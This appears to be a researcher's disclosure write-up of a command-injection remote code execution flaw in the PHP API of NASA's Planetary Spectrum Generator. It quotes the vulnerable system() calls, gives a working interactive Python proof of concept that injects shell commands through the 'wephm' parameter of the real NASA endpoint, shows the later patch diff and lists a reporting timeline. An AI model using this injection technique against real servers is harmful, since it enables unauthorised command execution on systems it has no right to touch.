if (strlen($app)>0) { // Call the app $app = preg_replace('/[^a-z]/', '', htmlspecialchars(substr($app,0,10),ENT_QUOTES,'UTF-8')); system($bindir . $app . ' ' . $ID); } else { // Call the modules if ($wgeo=='y' || $wephm!='n') system($bindir . 'geometry ' . $ID . ' ephm=' . $wephm . ' atm=' . $watm); // Call the geometry module if ($watm=='y') system($bindir . 'atmosphere ' . $ID); // Call the atmosphere model if ($otyp=='ret') { exec($bindir . 'retrieve ' . $ID); // Call the retrieval module } else if ($geo=='massspec' && $wgen=='y') { $otyp = 'mss'; exec($bindir . 'mass ' . $ID); // Call the Mass-Spec module } else { if ($wcon=='y') exec($bindir . 'continuum ' . $ID); // Call the surfaces and transmittance module if ($wgas=='y' && $ast!='none') { // Call the atmospheric modules if ($ast=='coma') { exec($bindir . 'cem ' . $ID); // Call the cometary emission model } else { exec($bindir . 'pumas ' . $ID); // Call the planetary radiative transfer module } } if ($wgen=='y') exec($bindir . 'generator ' . $ID); // Call the flux integrator } } // /var/www/html/api.php
When I see code below, I can see the above code! In the here, When I see to use a system() function in first “if statement” of “else statement”.
In the here, The important information is values of $wephm and $watm variables are passed as the “argument” values of the system() function. This means that a Remote Code Execution attack can be performed by manipulating the variable.
But, I can’t see the result value of system() function because it execute on the server.
Yeah~ They’re using the apache server.
So I decided to create a file containing the return value of the shell command in the apache default path.
$tfile = $_POST['file']; if (substr($tfile,0,1)!='<') return0; $maxlines=2000; $lines[$maxlines]; $iline=0; $indata=0; $ndat=0; $maxvals=50000; $lams[$maxvals]; $vals[$maxvals]; $evals[$maxvals]; $noise=0; $b1 = strpos($tfile,'<BINARY>'); if ($b1!==FALSE) { $b2 = strpos($tfile,'</BINARY>'); if ($b2<=0) $b2=strlen($tfile); $bindata = substr($tfile, $b1+8, $b2-$b1-8); if ($bindata!==False) { $file = fopen($resdir . 'binaries/' . $ID . '_' . $binname . '.dat', 'w'); fwrite($file, $bindata); fclose($file); } $tfile = substr($tfile,0,$b1) . substr($tfile,$b2+9,-1); } if ($add) $tfile = file_get_contents($resdir . $ID . '_cfg.txt') . $tfile; $txts = explode(PHP_EOL, $tfile); if (count($txts)<2) $txts = explode("\r", $tfile); for ($i=0;$i<count($txts) && $iline<$maxlines && $ndat<$maxvals;$i++) { $txt = substr(trim($txts[$i]),0,30000); if (strncmp($txt,'<ATMOSPHERE-STRUCTURE>', 22)==0) $ast = strtolower(substr($txt,22)); if (strncmp($txt,'<GENERATOR-GAS-MODEL>', 21)==0) $wgas = strtolower(substr($txt,21)); if (strncmp($txt,'<GENERATOR-CONT-MODEL>', 22)==0) $wcon = strtolower(substr($txt,22)); if (strncmp($txt,'<GEOMETRY>', 10)==0) $geo = strtolower(substr($txt,10)); if (strncmp($txt,'<DATA>', 6)==0) { $indata=1; continue; } if (strncmp($txt,'</DATA>',7)==0) { $indata=0; continue; } if ($indata) { $nv = sscanf($txt,'%e %e %e', $lam, $flux, $noise); if ($nv<2) continue; $lams[$ndat]=$lam; $vals[$ndat]=$flux; $evals[$ndat]=$noise; $ndat++; } else { if (strncmp($txt,'<',1)!=0) continue; $pky = strpos($txt,'>'); if ($pky===false) continue; if ($pky>=strlen($txt)-1) continue; $ky = substr($txt,1,$pky-1); $val = substr($txt,$pky+1,strlen($txt)-$pky-1); $lines[$iline]='<' . $ky . '>' . $val . PHP_EOL; $iline++; } } if ($iline<=0) exit(); $file = fopen($resdir . $ID . '_cfg.txt', 'w'); for ($i=0;$i<$iline;$i++) fwrite($file, $lines[$i]); fclose($file); if ($ndat>0) { $file = fopen($resdir . $ID . '_dat.txt', 'w'); if ($nv>2) for ($i=0;$i<$ndat;$i++) fprintf($file,"%e %e %e\n", $lams[$i], $vals[$i], $evals[$i]); elsefor ($i=0;$i<$ndat;$i++) fprintf($file,"%e %e\n", $lams[$i], $vals[$i]); fclose($file); }
Additionally, before we exploit the above vulnerability, we should know one. If we send a request using the POST method, Server get the value of the file parameter and parse it into a file.
So, at first I passed the data containing random value to the file parameter, but it doesn’t seem to work. It seemed like I had to put the data the parser needed. So I decided to look for a sample file on the NASA site.
I found this, The psg_cfg.txt file can be downloaded from the above URL.
The value of psg_cfg.txt file are as above. I made some modifications to the file because the values are very long.
1 2 3 4 5 6 7 8 9 10
import requests
url = "https://psg.gsfc.nasa.gov/api.php" data = """<OBJECT>Exoplanet <SURFACE-GAS-UNIT>ratio <GENERATOR-INSTRUMENT>user """ whileTrue: cmd = input(">> ") r = requests.post(url,data={"file":data,"wephm":"pocas;{}>graphs/e1xnup1r;echo x".format(cmd)}) print(requests.get("https://psg.gsfc.nasa.gov/graphs/e1xnup1r").text)
The final poc is as above.
Execute the PoC code and I saw Remote Code Execution happen!
This was a very interesting and amazing! It was a good analysis and experience for me 😉 Thanks for help from @PewGrand, I learn a lot thanks to you!
And Next Day, When I woke up from sleep and checked the vulnerability, it was patched! But they didn’t contact me. So I found out on Twitter that NASA is not responding to the vulnerability. So, if someone just finds it, it is to report it for the purpose of public interest. 😢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$wgeo='y';$wephm='n';$watm='n';$whdr='y';$wgen='y'; - if (isset($_POST['wgeo'])) $wgeo = $_POST['wgeo']; else $wgeo = 'y'; - if (isset($_POST['wephm'])) $wephm= $_POST['wephm']; else $wephm= 'n'; - if (isset($_POST['watm'])) $watm = $_POST['watm']; else $watm = 'n'; - if (isset($_POST['whdr'])) $whdr = $_POST['whdr']; else $whdr = 'y'; - if (isset($_POST['type'])) $otyp = $_POST['type']; else $otyp = 'rad'; - if (isset($_POST['mode'])) $mode = $_POST['mode']; else $mode = ''; + if (isset($_POST['wgeo'])) $wgeo = preg_replace('/[^a-z]/', '', substr($_POST['wgeo'],0,1)); else $wgeo = 'y'; + if (isset($_POST['wephm'])) $wephm= preg_replace('/[^a-z]/', '', substr($_POST['wephm'],0,1)); else $wephm= 'n'; + if (isset($_POST['watm'])) $watm = preg_replace('/[^a-z]/', '', substr($_POST['watm'],0,1)); else $watm = 'n'; + if (isset($_POST['whdr'])) $whdr = preg_replace('/[^a-z]/', '', substr($_POST['whdr'],0,1)); else $whdr = 'y'; + if (isset($_POST['mode'])) $mode = preg_replace('/[^a-z]/', '', substr($_POST['mode'],0,1)); else $mode = ''; if ($otyp=='set' || $otyp=='upd') exit(); if ($otyp=='cfg' || $otyp=='ret') { $wcon='n'; $wgas='n'; $wgen='n';} if ($otyp=='str' || $otyp=='srf') {$wgeo='n'; $watm='n'; $wcon='y'; $wgas='n'; $wgen='n';} if ($otyp=='tel') { $wgeo='n'; $watm='n'; $wcon='n'; $wgas='n'; $wgen='y';} # /var/www/html/api.php
This issue was fixed that add substr() function. So I thought I try bypass this. But I decided not to do after to see the patch code. this is impossible to bypass.
Reporting Timeline
2021-11-22 13h 03m : Reported this issue via the soc@nasa.gov.